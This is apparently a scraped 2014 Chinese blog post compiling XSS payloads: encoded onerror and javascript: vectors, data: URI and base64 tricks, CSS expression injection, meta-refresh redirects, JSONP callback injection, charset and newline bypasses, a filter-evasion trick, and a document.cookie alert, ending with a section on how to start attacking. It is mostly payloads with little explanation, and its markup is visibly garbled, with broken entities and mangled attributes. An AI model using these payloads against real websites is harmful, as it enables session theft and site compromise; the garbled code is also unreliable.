仓库源文，站点原文

title: XSS零碎指南 categories:

• JavaScript
• 前端杂烩 tags:
• tech
• cnblogs
• XSS
• hack date: 2014-05-01 12:59:00 fromUrl: http://www.cnblogs.com/hustskyking/archive/2014/05/01/xss-snippets.html from: 博客园

> "alert("Barret李靖")".replace(/./g, function(s){
     return "<#" + s.charCodeAt(0)
      /*.toString(16) 转换成16进制也可以滴*/
      + ";"
  });

> "<#97;<#108;<#101;<#114;<#116;<#40;<#49;<#41;"

<img src="x" onerror="<#97;<#108;<#101;<#114;<#116;<#40;<#49;<#41;">

> encodeURIComponent("<#")
> "%26%23"

<colon; 冒号
<NewLine; 换行

<a href="javascr<NewLine;ipt<colon;alert(" barret李靖")"="">XSS</a>

> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76"
> "<script>alert("Barret李靖")</script>"

> base64("<script>alert("Barret李靖")</script>");
> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>

<img src="image.jpg" title="Hello World" class="test">
  ↓ ↓    ↓        ↓      ↓            ↓
  ①②   ③        ④     ⑤           ⑥

   位置      |        代码               | 可能插入或替代的代码
------------|---------------------------|-----------------------
<的右边 |="" <[here]a="" href="...        | 控制符，空白符，非打印字符
a标签的后门  | <a[here]href=" ...="" 同上="" href属性中间="" <a="" hr[here]ef="...        | 同上+空字节
=两边       | <a href[here]=[here]" 所有字符="" 替换="|" href[here]"...="" union编码符号="" 替换"="">    | 其他引号
>之前       | <a href="..." [here]="">        | 任意字符
/之前       | <a href="...">...<[here] a=""> | 空白符，控制符
/之后       | <a href="...">... | 空白符，控制符
>闭合之前    | <a href="...">...  | 所有字符

</a></a></[here]></a></a></的右边>

<iframe srcdoc="<lt;script<gt;alert(" barret李靖")<lt;="" script<gt;"=""></iframe>

<input onfocus="write(1)" autofocus>

<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
    <param name="dataurl" value="javascript:alert(" barret李靖")"="">
</object>

?t="><img src="1" onerror="alert("Barret李靖")">
<input type="hidden" id="sClientUin" value="">

?t="><script src="data:text/html,<script>alert(" barret李靖")<="" script=""><!--

</script>

<xss>
<style>.xss{background-image:url("javascript:alert('xss')");}</style><a class="xss"></a>
<style type="text/css">body{background:url("javascript:alert('xss')")}</style>

</xss>

<h3>三、XSS攻击方式</h3>

<a href="javascript:'\x3cimg src\x3dx onerror=alert(" barret李靖")="">'">click me</a>

<form id="location" href="bar">
<script>alert(location.href)</script>

</form>

<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
Javascript: 协议可能被禁止，可以使用 data:
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(" barret李靖")<="" script="">">

<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">

</style>

http://example.com/test.php?callback=cb

缺陷代码：
<script type="text/javascript">
    document.domain='soso.com';
    _ret={"_res":2};
    try{
        parent.aaa(_ret);
    }catch(err){
        aaa(_ret);
    }
</script>

注入：http://example.com/test.php?callback=cb<script>alert("XSS")</script>

<input type="text" value="XSS<quot; onclick=<quot;alert(" barret李靖")"="">

<!--<img src="--><img src="x" onerror="alert("Barret李靖")//"">
<comment><img src="</comment><img src=x onerror=alert(" barret李靖")="" "="">
<![><img src="]><img src=x onerror=alert(" barret李靖")="" "="">
<style><img src="</style><img src="x" onerror="alert("Barret李靖")//"">

</comment>

?t=;alert("Barret李靖")
<script type="text/javascript">
    var t = query(t); // t = "<quot;;alert("Barret李靖")"
</script>

<meta http-equiv="Content-Type" content="text/html; charset=gb18030">

?t=%c0%22alert("Barret李靖")

?t=%0aalert("Barret李靖")//

// init('id', "%0aalert("Barret李靖")//");

被解析成

// init('id', "
alert("Barret李靖")//");

<a href="data:text/html,<script>alert(" barret李靖")<="" script="">">XSS</a>

<iframe src="#" onmouseover="alert(document.cookie)"></iframe>

<table><td background="javascript:alert('xss')">

</td></table>

<h3>四、XSS攻击实质</h3>

?t="><script>alert("Barret李靖")</script>

function parseURL(){
    //...
    t.replace("WOW", "");
    //..
}

?t="><scrwowipt>alert("Barret李靖")</scrwowipt>

<p>直接绕过了chrome浏览器对危险代码的防御。</p>

<h3>五、学会XSS攻击</h3>

<p><strong>1. 寻找可控参数</strong></p>

<p>攻击入口在哪里？一般是有输入的地方，比如URL、表单、交互等。</p>